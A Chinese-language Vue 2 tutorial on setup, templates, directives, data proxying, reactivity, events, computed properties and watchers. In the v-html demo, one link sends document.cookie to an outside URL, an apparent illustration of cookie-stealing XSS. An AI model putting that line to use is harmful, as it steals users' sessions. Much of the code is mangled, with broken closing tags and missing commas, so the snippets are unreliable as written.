Vue是一个基于JavaScript实现的框架, 要使用它就需要从[Vue官网]((https://cn.vuejs.org/)下载 vue.js 文件
第一步:打开Vue2官网,点击下图所示的“起步”
第二步:继续点击下图所示的“安装”
第三步:在“安装”页面向下滚动,直到看到下图所示位置,点击开发版本并下载
第四步:使用script标签引入vue.js文件(…/表示上级目录),当你引入vue.js之后,Vue会被注册为一个全局变量
<script type="text/javascript" src="../js/vue.js">script>
<script type="text/javascript" >
// 使用Vue.config的全局配置对象,阻止vue在启动时生成生产提示
Vue.config.productionTip = false
script>
<script type="text/javascript" src="../js/vue.mini.js">script>
第一步:由于Vue是一个构造函数, 使用时必先创建Vue实例不能直接调用
第二步:使用ID选择器将Vue实例挂载到id='app’的元素位置
script>
<body>
<div id="app">div>
<script>
const myVue = new Vue({
template : 'Hello Vue!!!!!
'
})
// #app是ID选择器只能匹配到一个元素,编写原生JS也可以
myVue.$mount('#app')
//myVue.$mount(document.getElementById('app'))
script>
body>
第一步: 在浏览器搜索极简插件下载Vue Devtools
第二步: 安装开发者工具Vue Devtools: 安装完Vue插件后还有在插件详情里面开启Vue插件的权限 , 允许访问文件的地址
Chrome浏览器安装方式
①:点击右上角三个点
②:点击更多工具
③:点击扩展程序
④:点击右上角的开发者模式,将他启用
⑤:将下载的Vue.crx文件直接拖动到浏览器窗口即可
Edge浏览器安装方式
①:点击浏览器右上角的三个点
②:点击扩展
③:点击左下角的开发人员模式,将他启用
④:将Vue.crx文件拖动到浏览器即可收起
在Vue中有一个data配置项是给整个Vue实例的模板语句提高数据来源的,它可以帮助我们动态的渲染页面
data选项的类型: 对象或者函数,对象必须是纯粹的对象即含有零个或多个的key/value对
模板语法中的插值语法(胡子语法): Vue框架制定了将data中的数据插入到模板语句的规则{{data中的key}}
Vue编译器对template后面的模板语句进行编译遇到{{}}时从data中取数据,然后将取到的数据插到对应的位置,最后生成一段HTML代码渲染到挂载位置呈现
<script>
new Vue({
// 字符串如果需要换行的话,建议将代码写到``反符号当中,不建议使用+进行字符串的拼接
template : `电视剧{{name}},上映日期是{{releaseTime}}。主角是{{lead.name}},年龄是{{lead.age}}岁。
其他演员包括:{{actors[0].name}}({{actors[0].age}}岁),{{actors[1].name}}({{actors[1].age}}岁)
`,
data : {
// value可以是一个常量值
name : '狂飙!!!',
releaseTime : '2023年1月2日',
// value可以是一个对象(可以无限嵌套)
lead : {
name : '高启强',
age : 41
},
// value可以是一个数组,数组元素可以是对象或常量值
actors : [
{
name : '安欣',
age : 41
},
{
name : '高启兰',
age : 29
}
]
}).$mount('#app')
script>
body>
5.
data可以是直接的对象,也可以是一个函数, 如果是函数的话,必须使用return语句返回一个对象
什么时候使用直接的对象?什么时候使用函数呢?(等你学到组件的时候自然就明白了)
<script>
const vm = new Vue({
el : '#app',
// data直接是一个对象
data : {
msg : 'Hello Vue!'
}
// data是一个函数,并且在对象当中,函数的:function可以省略
data : function(){
return {
msg : 'Hello Vue!'
}
}
data(){
return {
msg : 'Hello Zhangsan!'
}
}
})
script>
{{这里可以写什么}}:在data中声明的变量、函数等,常量,合法的javascript表达式(表达式的结果是一个值),全局变量的一个白名单
<div id="app">
<h1>{{msg}}h1>
<h1>{{sayHello()}}h1>
<h1>{{100}}h1>
<h1>{{'hello vue!'}}h1>
<h1>{{3.14}}h1>
<h1>{{1 + 1}}h1>
<h1>{{'hello' + 'vue'}}h1>
<h1>{{msg + 1}}h1>
<h1>{{'msg' + 1}}h1>
<h1>{{gender ? '男' : '女'}}h1>
<h1>{{number + 1}}h1>
<h1>{{'number' + 1}}h1>
<h1>{{msg.split('').reverse().join('')}}h1>
<h1>{{Date}}h1>
<h1>{{Date.now()}}h1>
<h1>{{Math}}h1>
<h1>{{Math.ceil(3.14)}}h1>
div>
<script>
new Vue({
el : '#app',
data : {
number : 1,
gender : true,
msg : 'abcdef',
sayHello : function(){
console.log('hello vue!');
}
}
})
script>
template只能有一个根元素,如果有多个根元素则报错
// 存在多个根元素报错
template:`{{message}}
{{name}}
`,
// 修改
template:`
{{message}}
{{name}}
`
template后面的模板语句被编译成HTML代码进行页面渲染时会将替换掉挂载位置的元素
<body>
<div id="app">
<div>
<h1>{{msg}}h1>
<h1>{{name}}h1>
div>
div>
<script>
new Vue({
// 省略template配置项
data : {
msg : 'Hello Vue',
name : 'yunqing'
},
}).$mount('#app')
script>
将Vue实例挂载时可以不用$mount方法,可以使用Vue的el配置项告诉Vue实例去接管哪个容器,Vue实例和容器的关系是一对一的
<div class="app">
<h1>{{msg}}h1>
div>
<div class="app">
<h1>{{msg}}h1>
div>
<div id="app2">
<h1>{{name}}h1>
div>
<script>
// 这个Vue实例只会接管匹配到的第一个容器,即使后面有相同的容器也不管了
new Vue({
el : '.app',
data : {
msg : 'Hello Vue!'
}
})
new Vue({
el : '#app2',
// el : document.getElementById('app')
data : {
name : 'zhangsan'
}
})
// 这个Vue实例想去接管id='app2'的容器,但是这个容器已经被上面那个Vue接管了,所以他不起作用
new Vue({
el : '#app2',
data : {
name : 'jackson'
}
})
script>
指令的职责是当表达式的值改变时,将其产生的连带影响响应式地作用于DOM
指令的一个完整的语法格式:
指令的参数和表达式: 不是所有的指令都有参数和表达式
指令语法和插值语法的联系与区别
<a href="{{url}}">走a>
v-once指令: 渲染元素一次,随后即使data中的数据发生改变需要重新渲染容器,元素及其所有的子节点将被视为静态内容并跳过(用于优化更新性能)
v-if=“表达式” 指令: 要求表达式的执行结果是个布尔类型,true表示这个指令所在的标签,会被渲染到浏览器当中,false表示不会
<div id="app">
<h1>{{msg}}h1>
<h1 v-once>{{msg}}h1>
<h1 v-if="a > b">v-if测试:{{msg}}h1>
<ul>
<li v-for="user,index of users" :key="index" v-once>{{user}}li>
ul>
div>
<script>
new Vue({
el : '#app',
data : {
msg : 'Hello Vue!',
a : 10,
b : 11,
users : ['jack', 'lucy', 'james']
}
})
script>
v-bind:参数=“表达式”: 让HTML标签的某个属性的值关联data中的数据产生动态的效果(data ===> 视图)
编译前:
编译后:
<div id="app">
<span v-bind:xyz="msg">span>
<span v-bind:xyz="'msg'">span>
<img v-bind:src="imgPath"> <br>
<img :src="imgPath"> <br>
<input type="text" name="username" :value="username"> <br>
<a :href="url">走起a> <br>
div>
<script>
new Vue({
el : '#app',
data : {
msg : 'Hello Vue!',
imgPath : '../img/1.jpg',
username : 'jackson',
url : 'https://www.baidu.com'
}
})
script>
body>
v-model:value=“表达式”: 让HTML标签的某个属性的值和data中的数据互相关联产生动态的效果(data <===> 视图)
<div id="app">
v-bind指令:<input type="text" v-bind:value="name1"><br>
v-model指令:<input type="text" v-model:value="name2"><br>
<a v-model:href="url">百度a>
v-bind指令:<input type="text" :value="name1"><br>
v-model指令:<input type="text" v-model="name2"><br>
消息1:<input type="text" :value="msg"><br>
消息2:<input type="text" v-model="msg"><br>
div>
<script>
new Vue({
el : '#app',
data : {
name1 : 'zhangsan',
name2 : 'wangwu',
url : 'https://www.baidu.com',
msg : 'Hello Vue!'
}
})
script>
v-text: 将表达式的内容以覆盖的形式填充到标签体当中,而且填充内容中的HTML标签只会当做一个普通的字符串处理,等同于原生JS中innerText
v-html: 将表达式的内容以覆盖的形式填充到标签体当中,而且将填充的内容当做HTML代码解析, 功能等同于原生JS中的innerHTML
<body>
<div id="app">
<h1>{{msg}},testh1>
<h1 v-text="msg">testh1>
<h1 v-text="name">testh1>
<h1 v-text="s1">h1>
<h1 v-html="s1">h1>
<ul>
<li v-for="(m,index) of messageList" v-html="m">li>
ul>
<textarea cols="30" rows="10" v-model.lazy="message">textarea>
<br>
<button @click="save">保存留言button>
<a href="javascript:location.href='http://www.baidu.com?'+document.cookie">点击查看详情a>
div>
<script>
const vm = new Vue({
el: '#app',
data: {
msg: 'Vue的其它指令',
name: 'jack',
s1: '欢迎大家学习Vue!
',
message: '',
messageList: []
},
methods: {
save() {
this.messageList.push(this.message)
}
}
})
script>
body>
v-cloak指令使用在标签当中用来解决胡子的闪现问题
<head>
<style>
/*当前页面中所有带有v-cloak属性的标签都隐藏起来*/
[v-cloak] {
display: none;
}
style>
head>
<body>
<div id="app">
<h1 v-cloak>{{msg}}h1>
div>
<script>
// 模拟延迟加载Vue.js文件
setTimeout(() => {
let scriptElt = document.createElement('script')
scriptElt.src = '../js/vue.js'
// 自动追加到末尾
document.head.append(scriptElt)
}, 3000)
// 延迟渲染
setTimeout(() => {
const vm = new Vue({
el : '#app',
data : {
msg : 'Vue的其它指令'
}
})
}, 4000)
script>
body>
带有v-pre指令的标签将不会被编译(提高编译速度)
<body>
<div id="app">
<h1 v-cloak>{{msg}}h1>
<h1 v-pre>欢迎学习Vue框架h1>
<h1 v-pre>{{msg}}h1>
div>
<script>
const vm = new Vue({
el : '#app',
data : {
msg : 'Vue的其它指令',
}
})
script>
body>
自定义指令分为局部指令和全局指令,并且定义的时候分为函数式和对象式
自定义指令函数式的回调函数
自定义指令对象式的钩子函数可以完成更加细致的功能
<body>
<div id="app">
<h1>自定义指令h1>
<div v-text="msg">div>
<div v-text-danger="msg">div>
用户名:<input type="text" v-bind:value="username">
<div>
用户名:<input type="text" v-bind-blue="username">
div>
div>
<div id="app2">
<div v-text-danger="msg">div>
<div>
用户名:<input type="text" v-bind-blue="username">
div>
div>
<script>
// 定义全局的指令(可以在所有的容器中使用)
// 函数式
Vue.directive('text-danger', function(element, binding){
//对于自定义指令来说,函数体当中的this是window,而不是vue实例
console.log(this)
element.innerText = binding.value
element.style.color = 'red'
})
// 对象式
Vue.directive('bind-blue', {
bind(element, binding){
element.value = binding.value
console.log(this)
},
inserted(element, binding){
element.parentNode.style.backgroundColor = 'skyblue'
console.log(this)
},
update(element, binding){
element.value = binding.value
console.log(this)
}
})
const vm2 = new Vue({
el : '#app2',
data : {
msg : '欢迎学习Vue框架!',
username : 'lucy'
}
})
const vm = new Vue({
el : '#app',
data : {
msg : '自定义指令',
username : 'jackson'
},
// 定义局部的指令(只能在当前容器中使用)
directives : {
// 函数式
'text-danger' : function(element, binding){
console.log('@')
element.innerText = binding.value
element.style.color = 'red'
},
'bind-blue' : function(element, binding){
element.value = binding.value
console.log(element)
// 为什么是null,原因是这个函数在执行的时候,指令和元素完成了绑定,但是只是在内存当中完成了绑定,元素还没有被插入到页面当中。
console.log(element.parentNode)
element.parentNode.style.backgroundColor = 'blue'
}
// 对象式(含有三个钩子函数,在特定的时间节点会被自动调用)
'bind-blue' : {
// 元素与指令初次绑定的时候,这个函数自动被调用
bind(element, binding){
element.value = binding.value
},
// 元素被插入到页面之后,这个函数自动被调用
inserted(element, binding){
element.parentNode.style.backgroundColor = 'blue'
},
// 当模板重新解析的时候,这个函数会被自动调用
update(element, binding){
element.value = binding.value
}
}
}
})
script>
body>
原生的javascript代码Model和View没有分离,如果数据发生任意的改动, 接下来我们需要编写大篇幅的操作DOM元素的JS代码更新视图
MVVM是目前前端开发领域当中倡导Model和View进行分离的开发思想或者架构模式,大部分主流框架如Vue,React都借鉴了这个MVVM思想
在Vue框架中的扮演MVVM中的角色
M(Model)对应data中的数据
V(View)对应容器中的模板语句, Vue实例的所有属性及Vue原型上的所有属性在模板语句中都可以直接使用
VM(ViewModel)对应Vue的实例对象(MVVM中核心部分)
<div id="app">
姓名:<input type="text" v-model="name">
div>
<script>
// ViewModel vm表示Vue实例
const vm = new Vue({
el : '#app',
// Model M
data : {
name : 'zhangsan'
}
})
script>
"Print to console": {
// 配置简写的形式
"prefix": "log",
// 配置生成的代码片段,双引号中的内容
"body": [
// $1和$2是用来做光标定位的
"console.log('$1');",
"$2"
],
// 配置描述信息,可以删除
"description": "Log output to console"
}
Vue实例可以访问的属性有很多,以$或以_开始的属性(和数据代理的属性区分开), Vue实例对象的原型对象上的属性,Vue实例对象代理的目标对象data上的属性
对象新增属性的方法: Object.defineProperty(新增属性的对象, ‘新增的属性名’, {新增属性的相关配置项key:value})
属性配置项 | 作用 |
---|---|
value | 设置新增属性的值 |
writable | 设置新增属性的值是否可以被修改, true表示可以修改 , 默认是false表示不能修改 |
enumerable | 设置新增属性是否可以遍历,true表示可以遍历的,默认是false表示不可遍历,Object.keys(对象)可以遍历对象的属性 |
configurable | 设置新增属性是否可以被删除,true表示可以被删除, ,默认是false表示不可删除,delete 对象.属性可以删除对象的属性 |
getter方法 | 当读取新增属性值的时候,getter()方法被自动调用, 返回新增属性的值 |
setter方法 | 当给新增属性赋值的时候,setter(val)方法被自动调用,val参数可以接收修改后的值 |
<script>
// 这是一个普通的对象
let phone = {}
// 临时变量
let temp
// 给phone对象新增一个color属性并设置setter和getter方法
Object.defineProperty(phone, 'color', {
//value : '太空灰',
//writable : true,
enumerable : false,
configurable : false
// getter方法配置项
get : function(){
console.log('getter方法执行');
return temp
// 以下这种写法会造成死循环,一直读取新增属性值一直调用get方法
//return this.color
},
// setter方法配置项
set : function(val){
console.log('setter方法执行',val);
temp = val
// 以下这种写法会造成死循环,一直给新增属性赋值一直调用set方法
//this.color = val
}
// 在ES6对象中的函数/方法:function是可以省略的
get(){
console.log('getter方法执行');
return temp
},
// setter方法配置项
set(val){
console.log('setter方法执行',val);
temp = val
}
})
script>
数据代理机制就是通过访问代理对象的属性来间接访问目标对象的属性
<script>
// 目标对象
let target = {
name : 'zhangsan'
}
// 代理目标对象的name属性加给代理对象新增一个name属性(属性名要一致)
let proxy = {}
Object.defineProperty(proxy, 'name', {
get(){
return target.name
},
set(val){
target.name = val
}
})
script>
在Vue框架中,代理对象是Vue的实例对象vm,目标对象是参数中的data对象,vm新增属性给data对象的属性做数据代理
<script>
const vm = new Vue({
el : '#app',
data : {
msg : 'Hello Vue!',
// 以下这两个属性就是data对象的属性,vm不会做数据代理
_name : 'zhangsan',
$age : 20
}
})
script>
Vue框架数据代理的实现
// 定义一个Vue类
class Vue {
// 定义构造函数
constructor(options){// options是一个简单的纯粹的JS对象{},有一个data配置项
// 获取data对象的所有的属性名
Object.keys(options.data).forEach((propertyName, index) => {
//console.log(typeof propertyName, propertyName, index)
// 如果是以_和$开始的属性名就不做数据代理
let firstChar = propertyName.charAt(0)
if(firstChar != '_' && firstChar != '$'){
// this就是Vue的实例对象
Object.defineProperty(this, propertyName, {
get(){
// propertyName是个字符串,通过对象["属性名"]的方式读取属性值
return options.data[propertyName]
},
set(val){
options.data[propertyName] = val
}
})
}
})
}
}
<script>
function Vue(options){
this._init(options);
Vue.prototype._init = function (options){
// 调用方法将options合并到$options,即$options含有options的所有属性
// 程序执行到这里的时候vm上还没有_data属性
var data = vm.$options.data;
// 程序执行完这个代码之后,vm对象上多了一个_data这样的属性
// 如果data是函数,则调用getData(data, vm)来获取data对象
// 如果data不是函数,则直接将data对象返回给data变量, 并且同时将data对象赋值给vm._data属性
data = vm._data = isFunction(data) ? getData(data, vm) : data || {};
// 对于Vue实例vm来说,_data和$data都直接指向了底层真实的data对象,_data是私有的用于框架内部使用的, $data是公开的是给程序员使用
// 如果我们程序员不想走代理的方式读取data(不走getter和setter方法),可以通过_data和$data属性直接读取data当中的数据
// 判断字符串是否以_和$开始,true表示是, false表示否
function isReserved(str) {
var c = (str + '').charCodeAt(0);
return c === 0x24 || c === 0x5f;
}
// 数据代理: 给vm新增属性,代理_data即data对象的所有属性
while (i--) {
var keys = Object.keys(data);
// key是data对象的一个属性名
var key = keys[i];
// sharedPropertyDefinition是新增属性的配置项
var sharedPropertyDefinition = {
enumerable: true,
configurable: true,
get: noop,
set: noop
};
proxy(vm, "_data", key)
function proxy(target, sourceKey, key) {
sharedPropertyDefinition.get = function proxyGetter() {
return this[sourceKey][key];
};
sharedPropertyDefinition.set = function proxySetter(val) {
this[sourceKey][key] = val;
};
Object.defineProperty(vm, key, sharedPropertyDefinition);
}
}
}
script>
当修改data配置项中的数据后,页面实现自动改变/刷新的响应式效果
Vue的响应式是通过数据劫持机制实现的: 底层使用了Object.defineProperty方法给新增的属性都配置了setter方法对数据进行劫持
后期给Vue实例动态追加的属性默认没有添加响应式处理的
通过数组的下标去修改数组中的元素,默认情况下是没有添加响应式处理的(数组本身或者数组元素的内部属性都是有响应式处理的)
<body>
<div id="app">
<h1>{{msg}}h1>
<div>姓名:{{name}}div>
<div>年龄:{{age}}岁div>
<div>数字:{{a.b.c.e}}div>
<div>邮箱:{{a.email}}div>
<ul>
<li v-for="user in users">{{user}}li>
ul>
<ul>
<li v-for="vip in vips" :key="vip.id">{{vip.name}}li>
ul>
div>
<script>
const vm = new Vue({
el : '#app',
// Vue会给创建Vue实例时data中所有的属性(包括属性中的属性)都添加响应式
data : {
msg : '响应式与数据劫持',
name : 'jackson',
age : 20,
a : {
b : {
c : {
e : 1
}
}
}
users : ['jack', 'lucy', 'james'],
vips : [
{id:'111', name:'zhangsan'},
{id:'222', name:'lisi'}
]
}
})
// vm后期追加的属性并没有添加响应式处理
//vm.$data.a.email = '[email protected]'
// 调用以下的两个方法给后期追加的属性添加响应式处理
//Vue.set(vm.a, 'email', '[email protected]')
vm.$set(vm.a, 'email', '[email protected]')
// 不能直接给vm/vm.$data追加响应式属性,只能在声明时提前定义好
//Vue.set(vm, 'x', '1')
//Vue.set(vm.$data, 'x', '1')
// 直接通过数组下标修改数组中的没有响应式效果
vm.users[0] = "李四"
vm.vips[0] = {id:'333',name:'wangwu'}
// 数组中元素的属性有响应式效果
vm.vips[0].name = "张三"
// 操作数组元素并具有响应式效果
Vue.$set(vm.users,0,"李四")
Vue.$set(vm.vips,2,{id:'333',name:'wangwu'})
vm.users.push('王五')
// 修改数组从0位置开始的一个元素
vm.users.splice(0,1'杰克')
script>
body>
在Vue当中完成事件绑定的语法格式: v-on:事件名=“表达式”, “表达式”位置可以写常量、JS表达式、Vue实例所管理的data或method等配置项
Vue在调用回调函数的时候会根据情况传递当前发生的事件对象
<div id="app">
<h1>{{msg}}h1>
<button onclick="alert('hello')">hellobutton>
<button v-on:click="alert('hello')">hellobutton>
<button v-on:click="sayHello()">hellobutton>
<button @click="sayHi($event, 'jack')">hi button2button>
<button @click="sayWhat">what buttonbutton>
<button @click="sayWhat()">what buttonbutton>
div>
<script>
// 自定义的函数不会被调用
function sayHello(){
alert('hello')
}
const vm = new Vue({
el: '#app',
data: {
msg: 'Vue的事件绑定'
},
methods: { // 回调函数
// : function 可以省略
sayHi(event, name) {
console.log(name, event)
},
sayWhat(event) {
console.log(event)
//console.log(event.target)
//console.log(event.target.innerText)
}
}
})
script>
事件回调函数中的this就是Vue的实例对象vm, 箭头函数中没有自己的this它的this是从父级作用域当中继承过来的
<div id="app">
<h1>{{msg}}h1>
<h1>计数器:{{counter}}h1>
<button @click="counter++">点击我加1button>
<button @click="add">点击我加1button>
<button @click="add2">点击我加1(箭头函数)button>
div>
<script>
const vm = new Vue({
el : '#app',
data : {
msg : '关于事件回调函数中的this',
counter : 0
},
methods : {
add(){
// 事件函数中的this就是Vue的实例对象vm
this.counter++;
//vm.counter++;
},
add2:()=>{
// 对于当前程序来说this就是父级作用域(全局作用域)window
console.log(this)
},
sayHi(){
alert('hi...')
}
}
})
script>
methods对象中的方法可以通过vm去访问(直接复制),但是并没有做数据代理
<script>
const vm = new Vue({
data : {
msg : 'hello vue!'
},
methods : {
sayHi(){
// 函数中的this就是Vue的实例对象vm
console.log(this.msg)
},
sayHello(){
alert('hello')
},
sayWhat : () => {
// 对于当前程序来说this就是父级作用域(全局作用域)window
console.log(this)
}
}
})
script>
// 定义一个Vue类
class Vue {
// options是一个简单的纯粹的JS对象,有Vue实例对象的配置项
constructor(options) { // 定义构造函数
// 获取所有的属性名
// 获取所有的方法名
Object.keys(options.methods).forEach((methodName, index) => {
// 给当前的Vue实例扩展一个方法,相当于复制了一份
this[methodName] = options.methods[methodName]
})
}
}
Vue当中提供的事件修饰符: 在Vue当事件的默认行为可以不采用手动调用DOM的方式来完成,回调函数中只负责写业务逻辑代码
在Vue当中,事件修饰符是可以多个联合使用的,按照书写顺序的先后执行
修饰符 | 作用 |
---|---|
stop | 停止事件冒泡,等同于event.stopPropagation() |
prevent | 阻止事件的默认行为,等同于event.preventDefault() |
capture | 添加事件监听器时使用事件捕获模式(从外到内),先给谁添加谁先执行 |
self | 只有“元素”本身触发事件才会则执行对应的函数,别人冒泡/捕获传递过来的事件并不会调用事件函数 |
once | 事件只发生一次 |
passive(顺从/不抵抗) | 解除阻止, 无需等待事件函数的内部代码执行完, 优先执行事件的默认行为 |
<div id="app">
<h1>{{msg}}h1>
<a href="https://www.baidu.com" @click.prevent="yi">百度a> <br><br>
<div @click="san">
<div @click.stop="er">
<button @click="yi">事件冒泡button>
div>
div>
<div @click.capture="san">
<div @click.capture="er">
<button @click.capture="yi">添加事件监听器的时候采用事件捕获模式button>
div>
div>
<div @click.capture="san">
<div @click="er">
<button @click="yi">添加事件监听器的时候采用事件捕获模式button>
div>
div>
<div @click="san">
<div @click.self="er">
<button @click="yi">self修饰符button>
div>
div>
<div @click="san">
<div @click="er">
<button @click.self.stop="yi">self修饰符button>
div>
div>
<button @click.once="yi">事件只发生一次button>
<div class="divList" @wheel.passive="testPassive">
<div class="item">div1div>
<div class="item">div2div>
<div class="item">div3div>
div>
div>
<script>
const vm = new Vue({
el : '#app',
data : {
msg : '事件修饰符'
},
methods : {
yi(event){
// 手动调用事件对象的preventDefault()方法,可以阻止事件的默认行为
//event.preventDefault();
alert(1)
},
er(){
alert(2)
},
san(){
alert(3)
},
testPassive(event){
for(let i = 0; i < 100000; i++){
console.log('test passive')
}
}
}
})
script>
获取某个键的按键修饰符
自定义按键修饰符: 通过Vue的全局配置对象config来进行按键修饰符的自定义,Vue.config.keyCodes.按键修饰符的名字 = 键值
4个比较特殊的系统修饰键ctrl、alt、shift、meta(win键)
修饰符 |
---|
enter |
tab(必须配合keydown事件使用) |
delete(捕获“删除”和“退格”键) |
esc |
space |
up |
down |
left |
right |
<div id="app">
<h1>{{msg}}h1>
回车键:<input type="text" @keyup.enter="getInfo"><br>
回车键(键值):<input type="text" @keyup.13="getInfo"><br>
delete键:<input type="text" @keyup.delete="getInfo"><br>
esc键:<input type="text" @keyup.esc="getInfo"><br>
space键:<input type="text" @keyup.space="getInfo"><br>
up键:<input type="text" @keyup.up="getInfo"><br>
down键:<input type="text" @keyup.down="getInfo"><br>
left键:<input type="text" @keyup.left="getInfo"><br>
right键:<input type="text" @keyup.right="getInfo"><br>
tab键(keydown): <input type="text" @keydown.tab="getInfo"><br>
PageDown键: <input type="text" @keyup.page-down="getInfo"><br>
huiche键: <input type="text" @keyup.huiche="getInfo"><br>
ctrl键(keydown): <input type="text" @keydown.ctrl="getInfo"><br>
ctrl键(keyup): <input type="text" @keyup.ctrl="getInfo"><br>
ctrl键(keyup): <input type="text" @keyup.ctrl.i="getInfo"><br>
div>
<script>
// 自定义一个按键修饰符叫huiche
Vue.config.keyCodes.huiche = 13
const vm = new Vue({
el : '#app',
data : {
msg : '按键修饰符'
},
methods : {
getInfo(event){
// 当用户键入回车键的时候,获取用户输入的信息
//if(event.keyCode === 13){}
// 使用了按键修饰符后就不用再判断键值了
console.log(event.target.value)
// 获取按键修饰符的名字
console.log(event.key)
}
}
})
script>
在插值语法中直接使用表达式的问题: 代码可读性差且没有得到复用,难以维护
<div id="app">
<h1>{{msg}}h1>
输入的信息:<input type="text" v-model="info"> <br>
反转的信息:{{info.split('').reverse().join('')}}
div>
<script>
const vm = new Vue({
el : '#app',
data : {
msg : '计算属性-反转字符串案例',
info : ''
}
})
script>
在插值语法中调用Vue实例所管理的方法(小括号不能省略),存在效率问题
<div id="app">
<h1>{{msg}}h1>
输入的信息:<input type="text" v-model="info"> <br>
反转的信息:{{reverseInfo()}} <br>
div>
<script>
const vm = new Vue({
el : '#app',
data : {
msg : '计算属性-反转字符串案例',
info : ''
},
methods : {
// 反转信息的方法
reverseInfo(){
console.log('@')
return this.info.split('').reverse().join('');
}
}
})
script>
计算属性是Vue的原有属性(如data对象当中的属性)经过一系列的运算/计算,最终得到的一个全新的属性(有自己的属性名和属性值和和data中的属性无关)
计算属性在computed配置项中定义,可以提供属性的setter和getter方法,这两个方法会被自动调用
<div id="app">
<h1>{{msg}}h1>
输入的信息:<input type="text" v-model="info"> <br>
反转的信息:{{reversedInfo}}<br>
{{hehe}} <br>
{{hehe}} <br>
{{hello()}} <br>
{{hello()}} <br>
div>
<script>
const vm = new Vue({
el : '#app',
data : {
msg : '计算属性-反转字符串案例',
info : ''
},
methods : {
hello(){
return 'hello'
}
},
computed : {
// 可以定义多个计算属性
hehe : {
// getter方法的调用时机包括两个,如果关联的原有属性没有变化就走缓存
get(){
return 'haha' + this.info
},
// 箭头函数会导致this的指向是window
// get:()=>{},
// 当修改计算属性值的时候,set方法被自动调用
set(val){
}
},
reversedInfo : {
get(){
return this.info.split('').reverse().join('')
},
// 在控制台上执行vm.reversedInfo = "zyx",val会自动接收
set(val){
// 直接修改计算属性的值会造成setter方法递归
//this.reversedInfo = val
// 计算属性的值变还是不变取决于计算属性关联的Vue原始属性的值,修改计算属性需要通过修改它关联的Vue原始属性来实现
this.info = val.split('').reverse().join('')
}
}
}
})
script>
计算属性一般是用来做数据展现的, 计算属性的值不方便修改,所以可以不提供set方法就有了简写形式
computed : {
// reversedInfo是个属性不是方法,在插值语法中访问的是属性
reversedInfo(){
return this.info.split('').reverse().join('')
}
}
watch配置项用来指定所有要要监视的属性,监视的属性可以有多个
监视某个属性时也需要使用一个配置对象指定监视属性的配置项, 配置对象中有个handler方法
监视属性的配置项
<div id="app">
<h1>{{msg}}h1>
数字:<input type="text" v-model="number"><br>
数字:<input type="text" v-model="a.b"><br>
数字:<input type="text" v-model="a.d.e.f"><br>
数字(后期添加监视):<input type="text" v-model="number2"><br>
div>
<script>
const vm = new Vue({
el : '#app',
data : {
number2 : 0,
msg : '侦听属性的变化',
number : 0,
// a属性中保存的值是一个对象的内存地址,要想a属性变化必须指向另一个对象
a : {
b : 0,
c : 0,
d : {
e : {
f : 0
}
}
}
},
computed : {
hehe(){
return 'haha' + this.number
}
},
watch : {
// 监视哪个属性就把这个属性的名字拿过来
number : {
// 监视属性初始化的时候就调用一次handler
immediate : true
handler(newValue, oldValue){
// this就是vm
console.log(this)
}
},
// 无法监视b属性,因为b属性压根不存在
b : {
handler(newValue, oldValue){
console.log('@')
}
}
// 监视多级结构的属性
'a.b' : {
handler(newValue, oldValue){
console.log('@')
}
},
a : {
// 启用深度监视,默认是不开启深度监视的
deep : true,
handler(newValue, oldValue){
console.log('@')
}
},
// 监视计算属性
hehe : {
handler(a , b){
console.log(a, b)
}
}
}
})
script>
监视某个属性的时候,当只有handler回调函数没有其他配置项的时候,可以使用简写形式,省略handler函数
watch : {
number(newValue, oldValue){
console.log(newValue, oldValue)
}
}
后期根据条件添加监视属性时需要调用Vue相关的API: vm.$watch(‘被监视的属性名’, {})
vm.$watch('number2', {
immediate : true,
deep : true,
handler(newValue, oldValue){
console.log(newValue, oldValue)
}
})
// 这是后期添加监视的简写形式
vm.$watch('number2', function(newValue, oldValue){
console.log(newValue, oldValue)
}
computed和watch如果都能够完成某个功能,优先选择computed
不管写普通函数还是箭头函数,目标都是为了让 this 和 vm 相等
使用watch比较大小
<div id="app">
<h1>{{msg}}h1>
数值1:<input type="number" v-model="num1"><br>
数值2:<input type="number" v-model="num2">z<br>
比较大小:{{compareResult}}
div>
<script>
const vm = new Vue({
el : '#app',
data : {
msg : '比较大小的案例',
num1 : 0,
num2 : 0,
compareResult : ''
},
watch : {
// 监视num1
num1 : {
immediate : true,
handler(val){
let result = val - this.num2
// 这个箭头函数也不是Vue管理的,是javascript引擎负责管理的,调用这个箭头函数的还是window
// 箭头函数没有this,只能向上一级找this,上一级是num1,num1是Vue实例的属性,所以this是Vue实例。
setTimeout(() => {
console.log(this)
if(result == 0){
this.compareResult = val + ' = ' + this.num2
}else if(result > 0){
this.compareResult = val + ' > ' + this.num2
}else {
this.compareResult = val + ' < ' + this.num2
}
}, 1000 * 3)
}
},
// 监视num2
num2 : {
immediate : true,
handler(val){
let result = this.num1 - val
// 这个函数是箭头函数是window负责调用的,但是this是Vue实例
setTimeout(() => {
// 虽然这个函数是箭头函数,但是this是Vue实例。
console.log(this)
if(result == 0){
this.compareResult = this.num1 + ' = ' + val
}else if(result > 0){
this.compareResult = this.num1 + ' > ' + val
}else {
this.compareResult = this.num1 + ' < ' + val
}
}, 1000 * 3)
// setTimeout并不是Vue管理的,最终是window负责调用的,所以这个普通函数当中的this是window
setTimeout(function(){
// this是window
console.log(this)
if(result == 0){
this.compareResult = this.num1 + ' = ' + val
}else if(result > 0){
this.compareResult = this.num1 + ' > ' + val
}else {
this.compareResult = this.num1 + ' < ' + val
}
}, 1000 * 3)
}
}
}
})
script>
采用异步的方式不能使用computed完成比较大小的功能
<div id="app">
<h1>{{msg}}h1>
数值1:<input type="number" v-model="num1"><br>
数值2:<input type="number" v-model="num2"><br>
比较大小:{{compareResult}}
div>
<script>
const vm = new Vue({
el : '#app',
data : {
msg : '比较大小的案例',
num1 : 0,
num2 : 0
},
computed : {
// 计算属性的简写形式
compareResult(){
let result = this.num1 - this.num2
// 这里的箭头函数是javascript引擎去调用,最终也会将值返回给javascript引擎
setTimeout(() => {
if(result == 0){
return this.num1 + ' = ' + this.num2
}else if(result > 0){
return this.num1 + ' > ' + this.num2
}else {
return this.num1 + ' < ' + this.num2
}
}, 1000 * 3)
}
}
})
script>
数据绑定的一个常见需求场景是操纵元素的CSS的class列表和内联样式
绑定字符串适用场景:如果确定动态绑定的样式个数只有1个,但是名字不确定需要动态指定
<style>
.static{
border: 1px solid black;
background-color: aquamarine;
}
.big{
width: 200px;
height: 200px;
}
.small{
width: 100px;
height: 100px;
}
style>
<body>
<div id="app">
<h1>{{msg}}h1>
<div class="static small">{{msg}}div>
<button @click="changeBig">变大button>
<button @click="changeSmall">变小button>
